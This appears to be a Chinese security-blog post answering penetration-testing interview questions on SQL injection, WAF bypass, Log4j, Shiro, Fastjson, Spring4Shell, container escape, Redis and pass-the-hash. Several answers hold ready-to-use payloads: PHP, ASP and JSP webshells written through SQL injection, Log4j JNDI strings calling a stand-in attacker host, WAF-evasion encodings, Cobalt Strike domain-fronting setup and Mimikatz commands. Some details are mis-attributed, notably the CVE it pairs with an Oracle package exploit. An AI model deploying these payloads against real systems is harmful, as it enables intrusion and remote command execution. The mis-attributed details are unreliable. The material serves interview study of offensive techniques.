网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
13. Spring4Shell(CVE-2022-22965)
2025年渗透测试面试题总结-拷打题库38
说说你APP测试的经验 xposed用的什么框架,有没有自己写过app解密 sql注入写马有哪些方式? oracle注入除了注入之外有哪些直接利用的方式? 如何绕过基于语义检测的waf,比如雷池,阿里云waf等 信息安全相关的返回 response 头 cs 域前置的原理?流量是怎么通信的?从我直接执行一个命令,例如 whoami,然后到 机器上,中间的流量是怎么走的? kerberos 原理 log4j 如何绕过 trustcodebase Springboot+shiro 环境如何进行渗透 实战中如何判断 fastjson 的版本 Fastjson 文件读写 gadget 是哪条,原理是什么 Spring4shell 原理&检测&利用 给一个后台登录框有什么利用思路 安卓系统如何进行 rce,有什么思路 给一个移动端的 app,已知服务端是 cloud 环境,有什么思路利用 k8s 和 docker 如何去做攻击 有哪些利用方式 是什么原因导致的 cs 的域前置和云函数如何去配置 内网攻击的时候 内网有那些设备可以利用 (hadoop kibana 之类的设备) 攻击 redis 不同的 linux 系统有什么不同 sql 注入的时候,如果遇到了返回的时候长度不够,怎么解决,如何截取,用什么函数截 取 windows10上面的pth怎么利用
1. APP测试经验
核心要点
- 功能测试:
- 覆盖安装/卸载、UI交互、权限申请、多设备适配等场景。
- 使用自动化工具(Appium、MonkeyRunner)进行压力测试。
- 安全测试:
- 反编译APK(Jadx、JEB)分析硬编码密钥、敏感逻辑(如加密算法)。
- 检测HTTP/HTTPS请求是否未校验证书(SSL Pinning绕过)。
- 性能测试:
- 通过Android Profiler监控内存泄漏、CPU占用率及ANR问题。
- 使用Frida动态Hook分析Native层性能瓶颈。
2. Xposed框架与App解密
扩展分析
- Xposed框架选择:
- LSPosed:基于Riru的模块化框架,支持Android 12+。
- EdXposed:兼容性较好,但已停止维护。
- App解密实战:
- 场景:Hook网络库(OkHttp3)拦截加密请求/响应,动态修改算法参数。
- 案例:针对某金融App,通过Hook
javax.crypto.Cipher.init()
获取AES密钥。- 自定义模块开发:
- 编写Xposed模块解密加固App(如360加固),定位
Application
类的attachBaseContext
方法。
3. SQL注入写马方式
技术细节
- MySQL:
SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'
。- 前提:需要
FILE
权限及Web目录可写。- MSSQL:
- 启用
xp_cmdshell
执行echo
命令写入Web目录:sql
EXEC xp_cmdshell 'echo ^<^%eval request("cmd")%^>^ > C:\inetpub\shell.asp'
- Oracle:
- 利用
UTL_FILE
包写入文件(需DBA权限):sql
DECLARE fh UTL_FILE.FILE_TYPE; BEGIN fh := UTL_FILE.FOPEN('WEB_DIR', 'shell.jsp', 'W'); UTL_FILE.PUT_LINE(fh, '<%@page import="java.lang.*"%><% Runtime.getRuntime().exec(request.getParameter("cmd"));%>'); UTL_FILE.FCLOSE(fh); END;
4. Oracle注入直接利用方式
非注入攻击路径
- 权限提升:
- 利用
DBMS_CDC_IPUBLISH
包的漏洞(CVE-2012-3137)获取DBA权限。- 系统命令执行:
- 通过Java存储过程调用
Runtime.exec()
:sql
CREATE OR REPLACE JAVA SOURCE NAMED "Exec" AS import java.io.*; public class Exec { public static void run(String cmd) throws IOException { Runtime.getRuntime().exec(cmd); }};
- 文件系统访问:
- 使用
DBMS_ADVISORY
读取敏感文件(需CREATE ANY DIRECTORY
权限)。
5. 绕过语义检测WAF
绕过技巧
- 编码混淆:
- Unicode编码:
SEL%u0045CT
→SELECT
;Hex编码:0x53454C454354
。- 注释分割:
- 内联注释:
SEL/*!88888abc*/ECT
;换行符:SEL%0aECT
。- 协议特性:
- HTTP分块传输:将Payload分块发送,绕过正则匹配。
- 利用数据库特性:如MySQL的
/*!50000SELECT*/
语法绕过版本检测。
6. 安全Response头配置
关键头信息
- CSP(Content Security Policy):
Content-Security-Policy: default-src 'self'
防止XSS和数据泄露。- HSTS(HTTP Strict Transport Security):
Strict-Transport-Security: max-age=31536000; includeSubDomains
强制HTTPS。- 安全头组合:
X-Content-Type-Options: nosniff
阻止MIME类型嗅探;X-Frame-Options: DENY
防止点击劫持。
7. Cobalt Strike域前置原理与流量路径
流程详解
- 域前置(Domain Fronting):
- 原理:利用CDN(如Cloudflare)将流量转发到真实C2服务器,HTTPS请求的SNI字段与Host头分离。
- 配置:在C2配置中设置合法域名(如
google.com
),实际解析到攻击者IP。- 流量路径示例:
- 用户执行
whoami
→ Beacon加密数据 → 通过Cloudflare转发 → C2服务器解密并执行命令 → 结果回传。
8. Kerberos认证流程
认证三阶段
- AS-REQ/AS-REP:
- 用户向AS(Authentication Server)请求TGT(Ticket Granting Ticket)。
- TGS-REQ/TGS-REP:
- 使用TGT向TGS(Ticket Granting Service)申请服务票据(ST)。
- AP-REQ/AP-REP:
- 用户向服务端提交ST,服务端验证票据有效性。
9. Log4j绕过TrustCodeBase
绕过方法
- 利用其他JNDI协议:
- 如
ldap://
、rmi://
,结合jndi:ldap://attacker.com/Exploit
。- 上下文参数注入:
${ctx:user}${jndi:ldap://attacker.com}
动态拼接恶意URL。- 环境变量触发:
- 通过
${env:USER}
触发二次解析,绕过黑名单检测。
10. SpringBoot+Shiro渗透思路
攻击链
- Shiro反序列化:
- 利用硬编码密钥解密RememberMe Cookie,构造CommonsBeanutils1 Gadget执行命令。
- 权限绕过:
- 路径遍历绕过鉴权:
/;/admin
→ 匹配/admin
权限规则失败。- 结合Spring Boot Actuator:
- 未授权访问
/actuator/env
获取数据库密码,进一步利用数据库漏洞。
11. 判断Fastjson版本
实战技巧
- 报错信息法:
- 发送非法JSON触发异常,观察错误信息中的版本号。
- DNSLog探测:
- 构造Payload:
{"@type":"java.net.Inet4Address","val":"dnslog.xxx"}
。- 特征函数法:
- 测试
AutoCloseable
特性(1.2.25+支持)。
12. Fastjson文件读写Gadget
利用链分析
- TemplatesImpl链:
- 通过
_bytecodes
字段加载恶意字节码,触发getOutputProperties()
执行代码。- JdbcRowSetImpl链:
- 利用JNDI注入(需出网),触发
setAutoCommit()
连接恶意LDAP服务。
13. Spring4Shell(CVE-2022-22965)
漏洞利用
- 原理:
- 数据绑定漏洞通过
class.module.classLoader
修改Tomcat日志路径,写入Webshell。- 检测:
- 发送请求修改
class.module.classLoader.resources.context.parent.pipeline.first.directory
参数,观察是否返回400错误。- 利用:
- 修改日志文件名为
shell.jsp
,写入JSP Webshell内容。
14. 后台登录框利用思路
攻击面扩展
- 弱口令爆破:
- 使用字典(admin/admin123)结合Burp Intruder爆破。
- 密码重置漏洞:
- 绕过验证码(重放攻击)、修改手机号参数(如
mobile=attacker_phone
)。- OAuth劫持:
- 伪造OAuth回调地址,窃取合法用户会话令牌。
15. 安卓RCE思路
攻击场景
- Intent注入:
- 利用
startActivityForResult
未校验的Intent
数据,启动恶意组件。- 动态加载Dex:
- 通过
DexClassLoader
加载远程Dex文件执行恶意代码。- JNI层漏洞:
- 利用Native库缓冲区溢出(如CVE-2021-0316)提权。
16. 攻击Cloud环境App
云服务利用
- 存储桶错误配置:
- 利用AWS S3 Bucket未授权访问,上传Webshell或窃取数据。
- Serverless函数注入:
- 通过Lambda函数环境变量获取AK/SK,横向控制其他服务。
- API密钥泄露:
- 从客户端代码或日志中提取云服务凭证,接管控制台权限。
17. K8s与Docker攻击方式
攻击链分析
- 未授权访问:
- K8s API Server未鉴权(6443端口),直接创建恶意Pod。
- 特权容器逃逸:
- 挂载宿主机根目录:
docker run -v /:/host
,利用chroot
逃逸。- 敏感配置泄露:
- 从
/var/lib/kubelet/pods
窃取Service Account Token。
18. CS域前置与云函数配置
部署流程
- 域前置配置:
- 在云函数(如AWS Lambda)绑定合法域名,C2 Profile设置CDN回源地址。
- 流量路径:
- 用户请求
https://合法域名/api
→ 云函数转发至真实C2 → 加密通信。
19. 内网设备利用(Hadoop/Kibana)
攻击路径
- Hadoop未授权访问:
- 利用
/ws/v1/cluster/apps
提交恶意YARN任务执行命令。- Kibana CVE-2019-7609:
- 原型链污染漏洞,通过Timelion插件执行任意代码。
- Redis未授权访问:
- 写入SSH公钥或Webshell,通过
CONFIG SET dir
修改路径。
20. 攻击Redis的Linux系统差异
利用差异
- CentOS/RHEL:
- 默认无AppArmor,可通过
crontab
写入定时任务。- Ubuntu:
- AppArmor限制Redis写文件路径,需利用
/proc/self/environ
泄露信息。- Alpine:
- 轻量级环境缺少
bash
,需使用sh
或wget
替代。
21. SQL注入返回长度限制解决
截取方法
- 分页截取:
SUBSTRING((SELECT user()),1,10)
→ 分多次获取完整数据。- 二分法:
- 结合
ASCII()
和BETWEEN
逐步缩小字符范围。- 报错注入:
- 利用
exp()
函数溢出(MySQL)或CTE
递归(MSSQL)绕过长度限制。
22. Windows10 PTH利用
绕过限制
- AES密钥替代NTLM:
- 使用Mimikatz抓取AES密钥(
sekurlsa::ekeys
),通过sekurlsa::pth
注入。- SMB签名绕过:
- 利用PetitPotam强制域控发起NTLM认证,中继至其他服务。
- 受限管理员模式:
- 启用
RestrictedAdmin
注册表项,允许RDP登录不暴露凭据。